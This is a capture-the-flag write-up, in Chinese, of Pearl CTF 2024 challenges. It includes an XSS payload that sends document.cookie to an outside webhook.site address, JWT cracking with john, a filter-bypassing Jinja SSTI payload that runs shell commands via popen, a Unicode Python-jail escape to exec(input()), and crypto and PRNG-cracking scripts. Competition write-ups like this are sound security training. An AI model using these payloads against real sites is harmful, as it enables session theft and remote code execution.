pearlCTF-2024-WP

2024-03-10

Pearl CTF 2024- CakeisTheFake - Writeup

image
image

Team : CakeisTheFake
Rank : 16/605

Web

learn HTTP

題目是一個web service,會把使用者丟進去的get參數在後端處理後變封包丟出來:

image
image

然後有個/flag的路徑會去驗證你的cookie,是的話才可以拿到flag。
標準的XSS:
payload

1
2
3
HTTP/1.1 200 OK

<script>fetch("http://webhook.site/c9e321c1-b9d5-4b55-9d10-f1feec26a1d0?shark="+document.cookie)</script>

變成URL ENCODE後:

1
HTTP/1.1%20200%20OK%0D%0A%0D%0A%3Cscript%3Efetch(%22http://webhook.site/c9e321c1-b9d5-4b55-9d10-f1feec26a1d0?shark=%22%2Bdocument.cookie)%3C/script%3E

在webhook拿到token:

image
image

token

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzEwMDM5MjM5fQ.Pd53hD5jGx5GnHGYszpOUK8CjdLN3uUwXITubJrJ_kE

接著將token丟進pass檔案並利用john進行暴力破解:
Command

1
john pass --wordlist=/home/kali/rockyou.txt

image
image

根據觀察原始碼的結果,必須將id改為2

image
image

利用jwt.io配合john的結果將token算出來,造訪/flag的路徑。

image
image

拿到flag XD

I am a web-noob

這裡可以SSTI

image
image

經過幾次嘗試發現他過濾很多東西,ex:{{_[
這裡你可以用一種方法來繞過filter來RCE

1
?user={%print(""|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(154))%}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__

等價

1
''.__class__.__base__.__subclasses__()[154]

所以直接構造一個讀flag.txt的就好了

image
image

rabithole

去/robots.txt
會看到一條路徑

之後會看到/hardworking,可以發現他允許的有個奇怪的

image
image

改用這個直接去訪問

image
image

FLAG: pearl{c0ngr4t5_but_th1s_1s_just_th3_b3g1nn1ng}

payload

1
?user={%print((""|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(154)|attr(request.args.e)|attr(request.args.f)|attr(request.args.d)(request.args.g)(request.args.rce)).read())%}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&rce=cat /app/flag.txt

FLAG: pearl{W4s_my_p4ge_s3cur3_en0ugh_f0r_y0u?}

reverse

input-validator

jadx reverse他

image
image

反著做
Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
qq="oF/M5BK_U<rqxCf8zWCPC(RK,/B'v3uARD"
a=[1102, 1067, 1032, 1562, 1612, 1257, 1562, 1067, 1012, 902, 882, 1397, 1472, 1312, 1442, 1582, 1067, 1263, 1363, 1413, 1379, 1311, 1187, 1285, 1217, 1313, 1297, 1431, 1137, 1273, 1161, 1339, 1267, 1427]
b=[0 for i in range(34)]
flag = ''

for i in range(34):
a[i] -= 1337

for i in range(17):
b[1+2*i]=a[i]//5
b[2*i]=a[i+17]//2

for i in range(34):
b[i] = b[i] + ord(qq[33 - i])


for i in range(34):
flag+=chr(b[i]^ord(qq[i]))

print(flag)

not-so-easy

f()這個函式會使v1=0,所以如果我想知道正確的輸出,應該要先刪掉他

image
image

然後有兩百個檔案做兩百次
直接寫個腳本patch掉,反正就找到那個位置就可以了

image
image

1
2
3
4
5
6
7
8
9
10
11
12
byte_address1 = 0x1154
byte_address2 = 0x1198
byte_address3 = 0x11B9


for i in range(200):
with open(f'binaries/not-so-easy-{i}',"rb") as f:
binary_data = f.read()

modified_data=binary_data[:byte_address1]+b'\x90\x90\x90\x90\x90'+binary_data[byte_address1+5:byte_address2]+b'\x90\x90\x90\x90\x90'+binary_data[byte_address2+5:byte_address3]+b'\x90\x90\x90\x90\x90'+binary_data[byte_address3+5:]
with open(f'binaries/not-so-easy-{i}',"wb") as f:
f.write(modified_data)

手按200次gdb太累了,直接寫腳本
.gdb

1
2
3
4
b *0x5555555551da
r
p/c $rax
c

.sh

1
2
3
4
5
for((i=0;i<=199;i++));  
do
chmod +x not-so-easy-$i
gdb --batch not-so-easy-$i --command=easy.gdb|tail -n 2
done

image
image

FLAG: pearl{d1d_y0u_aut0m4t3_0r_4r3_y0u_h4rdw0rk1ng_?}

OSINT

letter (1)
letter (1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
City -> "J":

Jaipur (Rajasthan)
Jodhpur (Rajasthan)
Jaisalmer (Rajasthan)
Jammu (Jammu and Kashmir)
Jabalpur (Madhya Pradesh)
Jamshedpur (Jharkhand)
Jalgaon (Maharashtra)
Junagadh (Gujarat)
Jhansi (Uttar Pradesh)
Jalna (Maharashtra)
Jamnagar (Gujarat)
Jhunjhunu (Rajasthan)
Jagdalpur (Chhattisgarh)
Jagadhri (Haryana)
Jharsuguda (Odisha)
Jagraon (Punjab)
Jeypore (Odisha)
Jind (Haryana)
Jajpur (Odisha)
Jagtial (Telangana)
Jhargram (West Bengal)
Jatani (Odisha)
Jaynagar (Bihar)
Jhanjharpur (Bihar)

States -> "T":
Telangana
Tamil Nadu
Tripura

https://www.prokerala.com/pincode/india.html
之後直接暴力搜索看符合5x5x2x的pincode

FLAG: pearl{jagtial_telangana}

Crypto

3 spies

source.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3

from Crypto.Util.number import getPrime, bytes_to_long

with open('flag.txt', 'rb') as f:
flag = f.read()


n1 = getPrime(512)*getPrime(512)
n2 = getPrime(512)*getPrime(512)
n3 = getPrime(512)*getPrime(512)

e=3

m = bytes_to_long(flag)

c1 = pow(m,e,n1)
c2 = pow(m,e,n2)
c3 = pow(m,e,n3)

with open('encrypted-messages.txt', 'w') as f:
f.write(f'n1: {n1}\n')
f.write(f'e: {e}\n')
f.write(f'c1: {c1}\n\n')
f.write(f'n2: {n2}\n')
f.write(f'e: {e}\n')
f.write(f'c2: {c2}\n\n')
f.write(f'n3: {n3}\n')
f.write(f'e: {e}\n')
f.write(f'c3: {c3}\n')

標準的 boardcast attack
直接在sage crt([c1, c2, c3],[n1, n2, n3])算下去再開三次根號就好

image
image

得到urlhttps://pastes.io/1yjswxlvl2
頁面內容:

image
image

丟到解碼工具 CyberChef 得到結果是一張圖片檔案,下載後就拿到flagㄌ

image
image

flag

download
download

FLAG: pearl{gOOd_jOb_bu7_7h15_15_4_b4by_On3}

Baby’s Message Out

chall.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python3
from Crypto.Util.number import getPrime, isPrime, bytes_to_long
from flag import FLAG
from math import log
import sys

n = pow(10, 5)
sys.setrecursionlimit(n)

def nextPrime(p):
if isPrime(p):
return p
else:
return nextPrime(p + 61)

p = getPrime(256)
q = nextPrime(nextPrime(17*p + 1) + 3)
r = nextPrime(29*p*q)
s = nextPrime(q*r + p)
t = nextPrime(r*s*q)

n = p*q*r*s*t
e = 65537
m = bytes_to_long(FLAG.encode())
c = pow(m, e, n)
print(f"c: {c}")
print(f"n: {n}")

簡單觀察,$n$會很接近$p*[(17p)(1729p^2)(17^229*p^3+p)]^2$
丟sage math:

1
2
3
4
sage: P.<p>=PolynomialRing(Zmod(2**1000))
sage: f=p*((17*p)*(17*29*p^2)*(17^2*29*p^3+p))^2
sage: f
4933820698627921*p^13 + 1177382340682*p^11 + 70241161*p^9

所以 $p^{13} \fallingdotseq \frac{n}{4933820698627921}$

撰寫腳本取逼近,成功得到$p$的值

1
2
3
4
5
6
7
8
sage: ps=int(iroot(n//4933820698627921, 13)[0])
sage: for i in range(100000):
....: if n%(ps-i)==0:
....: p=ps-i
....: break
....:
sage: p
99882362437773265966124030773296517807358944792642701044820437308947621061961

按照題目提供的函數算回去q, r, s, t

image
image

成功拿到flag :D

FLAG: pearl{4h1s_0n3_w4s_f0r_7h3_k1ds}

Security++

其實就是典型的Prepend Oracle…,但不知道為什麼做出來的人那麼少(
secure.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from flag import flag, key
from base64 import b64encode
from enc import encrypt_block, pad


def encrypt(data: bytes):
pt = data + flag
pt = pad(pt)
block_count = len(pt) // 16
encText = b''
for i in range(block_count):
if i % 2 == 0:
encText += encrypt_block(pt[i * 16:i * 16 + 16], key[0:16])
else:
encText += encrypt_block(pt[i * 16:i * 16 + 16], key[16:])
return encText


def main():
while 1:
msg = input("\nEnter plaintext: ").strip()
res = encrypt(msg.encode())
print(b64encode(res).decode())


if __name__ == '__main__':
main()

enc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from copy import copy

s_box = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)


def bytes2matrix(text):
return [list(text[i:i + 4]) for i in range(0, len(text), 4)]


def matrix2bytes(m):
plaintext = b''
for row in range(4):
for j in range(4):
plaintext += chr(m[row][j]).encode('latin-1')
return plaintext


def pad(text: bytes):
if len(text) % 16 != 0:
pad_len = ((len(text) // 16) + 1) * 16 - len(text)
else:
pad_len = 0
text = text.ljust(len(text) + pad_len, b'.')
return text


def sub_bytes(state, sbox):
for i in range(len(state)):
for j in range(4):
state[i][j] = sbox[state[i][j]]
return state


def shift_rows(s):
s[1][0], s[1][1], s[1][2], s[1][3] = s[1][1], s[1][2], s[1][3], s[1][0]
s[2][0], s[2][1], s[2][2], s[2][3] = s[2][2], s[2][3], s[2][0], s[2][1]
s[3][0], s[3][1], s[3][2], s[3][3] = s[3][3], s[3][0], s[3][1], s[3][2]
return s


def gmul(a, b):
if b == 1:
return a
tmp = (a << 1) & 0xff
if b == 2:
return tmp if a < 128 else tmp ^ 0x1b
if b == 3:
return gmul(a, 2) ^ a


def mix_col(col):
temp = copy(col)
col[0] = gmul(temp[0], 2) ^ gmul(temp[1], 3) ^ gmul(temp[2], 1) ^ gmul(temp[3], 1)
col[1] = gmul(temp[0], 1) ^ gmul(temp[1], 2) ^ gmul(temp[2], 3) ^ gmul(temp[3], 1)
col[2] = gmul(temp[0], 1) ^ gmul(temp[1], 1) ^ gmul(temp[2], 2) ^ gmul(temp[3], 3)
col[3] = gmul(temp[0], 3) ^ gmul(temp[1], 1) ^ gmul(temp[2], 1) ^ gmul(temp[3], 2)
return col


def add_round_key(state, round_key):
for i in range(len(state)):
for j in range(len(state[0])):
state[i][j] = state[i][j] ^ round_key[i][j]
return state


def encrypt_block(ptext: bytes, key):
cipher = ptext
rkey = bytes2matrix(key)

for i in range(10):
ctext = bytes2matrix(cipher)
ctext = sub_bytes(ctext, s_box)
ctext = shift_rows(ctext)
temp = copy(ctext)
for j in range(4):
column = [temp[0][j], temp[1][j], temp[2][j], temp[3][j]]
column = mix_col(column)
for k in range(4):
ctext[k][j] = column[k]
ctext = add_round_key(ctext, rkey)
cipher = matrix2bytes(ctext)
return cipher

簡單來說,每16 BYTES一個塊,然後會把FLAG丟到你給的訊息最後面再加密,那不就是 Prepend Oracle 🫠
solution.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from base64 import *
r=remote('dyn.ctf.pearlctf.in', 30015)
flag=b''
def oracle(data):
s=r.recvuntil(b': ')
# print(s)
r.sendline(data)
s=r.recvuntil(b'\n').decode()
# print(s)
# print(b64decode(s))
return b64decode(s)

for i in range(32):
padding=b'A'*(32-1-i)
test=oracle(padding)
for c in string.printable:
if oracle(padding+flag+c.encode())[:32]==test[:32]:
# print(test)
# print(oracle(padding+flag+c.encode()))
flag=flag+c.encode()
print(flag, i)
break

搞定XD

image
image

FLAG: pearl{n0y_sn34ky_A3S+3encrypt10n}

forensic

Excel-Mayhem

image
image

直接Ctrl+F 找

Flag: pearl{h3ll_0f_4n_3xc3l}

pcap-busterz-1

用wireshark打開他

image
image

用follow -> TCP stream找到了這個

image
image

看起來應該可以藉由座標跟顏色來畫出一張圖,直接寫腳本

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
data = '''
x=75, y=38, color=black
x=91, y=94, color=white
x=27, y=78, color=white...
'''
line = data.strip().split('\n')

x = []
y = []
z = []

for i in line:

p = i.split(', ')


x_value = int(p[0].split('=')[1])
y_value = int(p[1].split('=')[1])
color_value = p[2].split('=')[1]

x.append(x_value)
y.append(y_value)
z.append(color_value)

# print(len(x),len(y),len(z))
image = Image.new("RGB", (300, 300), color="white")
draw = ImageDraw.Draw(image)
for i in range(len(x)):
if z[i]=="black":
draw.point((x[i],y[i]),fill="black")

image.save("output_image.png")
image.show()

組出了QRcode,掃一下就可以了

image
image

Flag: pearl{QR_rev0lution1ses_mod3rn_data_handl1ng}

Misc

jail.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/local/bin/python
import time
flag="pearl{f4k3_fl4g}"
blacklist=list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~`![]{},<>/123456789")
def banner():
file=open("txt.txt","r").read()
print(file)
def check_blocklist(string):
for i in string:
if i in blacklist:
return(0)
return(1)
def main():
banner()
cmd=input(">>> ")
time.sleep(1)
if(check_blocklist(cmd)):
try:
print(eval(cmd))
except:
print("Sorry no valid output to show.")
else:
print("Your sentence has been increased by 2 years for attempted escape.")

main()

直接找UNICODE字元繞過檢查但是python還是會執行XD
payload

1
𝑓𝑙𝑎𝘨

image
image

後續:

1
2
3
4
5
6
def attack(x):
r=remote('dyn.ctf.pearlctf.in', 30017)
s=r.recv()
r.sendline('𝑒𝑥𝑒𝑐(𝑖𝑛𝑝𝑢𝑡())') ; r.sendline(x)
print(r.recv())
r.close()

透過這個去做RCE XD

FLAG: pearl{it_w4s_t00_e4sy}

TooRandom

main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from flask import Flask
from flask import render_template
from flask import redirect
from flask import request

import random

app = Flask(__name__)
app.secret_key = "secret_key"

seed = random.getrandbits(32)
random.seed(seed)
flag_no = None

def generate_user_ids():
global flag_no
random_numbers = []
for i in range(1000000):
random_number = random.getrandbits(32)
random_numbers.append(random_number)
flag_no = random_numbers[-1]
print(flag_no)
st_id = 624
end_id = 999999
del random_numbers[st_id:end_id]
return random_numbers

user_ids = generate_user_ids()
j = 0

@app.route('/')
def home():
return redirect('/dashboard')

@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
global j
id_no = user_ids[j%624]
j += 1
if request.method == 'POST':
number = int(request.form['number'])
if number == flag_no:
return redirect('/flagkeeper')
else:
return redirect('/wrongnumber')
return render_template('dashboard.html', number=id_no)

@app.route('/flagkeeper')
def flagkeeper_dashboard():
return render_template('flag_keeper.html', user_id=flag_no)

@app.route('/wrongnumber')
def wrong_number():
return render_template('wrong_number.html')

if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0")

觀察結構,大概就是你會拿到624個數字,然後你要推出一開始的種子算出來的第1000000個數字是什麼。
此外,這題是以instance的方式出現,也就是說每個隊伍各自獨立的網站而且可以自由開啟和關閉。
馬上開啟後叫隊友不要打最重要
為什麼這樣說呢?因為有個Curious那時候跟我同時在打,場面一度尷尬極了(
解法的話因為624個數字(還都是32 bits,超佛心),剛好就直接MT-19937的crack就好。

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests as req
import random
from tqdm import *
front='<!DOCTYPE html>\n<html lang="en">\n<head>\n <meta charset="UTF-8">\n <meta name="viewport" content="width=device-width, initial-scale=1.0">\n <title>Dashboard</title>\n <style>\n body {\n font-family: Arial, sans-serif;\n background-color: #f7f7f7;\n margin: 0;\n padding: 0;\n display: flex;\n justify-content: center;\n align-items: center;\n height: 100vh;\n }\n\n .container {\n background-color: #fff;\n padding: 20px;\n border-radius: 8px;\n box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);\n }\n\n h1 {\n color: #333;\n margin-bottom: 20px;\n text-align: center;\n }\n\n form {\n display: flex;\n flex-direction: column;\n align-items: center;\n }\n\n label {\n font-size: 18px;\n color: #555;\n margin-bottom: 10px;\n }\n\n input[type="text"] {\n width: 100%;\n padding: 10px;\n font-size: 16px;\n border: 1px solid #ccc;\n border-radius: 4px;\n margin-bottom: 20px;\n box-sizing: border-box;\n }\n\n button {\n padding: 10px 20px;\n font-size: 16px;\n background-color: #4caf50;\n color: white;\n border: none;\n border-radius: 4px;\n cursor: pointer;\n transition: background-color 0.3s;\n }\n\n button:hover {\n background-color: #45a049;\n }\n </style>\n</head>\n<body>\n <div class="container">\n <h1>Welcome, player!!</h1>\n <h2>Number : '
foot='</h2>\n <form action="/dashboard" method="POST">\n <label for="number">Enter Number:</label> \n <input type="text" id="number" name="number" required><br> \n <button type="submit">Submit</button>\n </form>\n </div>\n</body>\n</html>'
url='https://toorandom-3612d37548e5ed9d.ctf.pearlctf.in/dashboard'
def untemper(rand):
rand ^= rand >> 18
rand ^= (rand << 15) & 0xefc60000
a = rand ^ ((rand << 7) & 0x9d2c5680)
b = rand ^ ((a << 7) & 0x9d2c5680)
c = rand ^ ((b << 7) & 0x9d2c5680)
d = rand ^ ((c << 7) & 0x9d2c5680)
rand = rand ^ ((d << 7) & 0x9d2c5680)
rand ^= ((rand ^ (rand >> 11)) >> 11)
return rand

state=[]
for i in tqdm(range(624)):
web=req.get(url)
cur=web.text.replace(front, '').replace(foot, '')
state.append(int(cur))

#print(state)
for i in range(624):
state[i]=untemper(state[i])

state.append(624)
random.setstate([3, tuple(state), None])
for i in range(1000000-624):
x=random.getrandbits(32)
if i==1000000-624-1:
print(x)

image
image

附上很傷眼睛的登入結果

image
image

FLAG: pearl{r4nd0m_15_n0t_50_r4nd0m}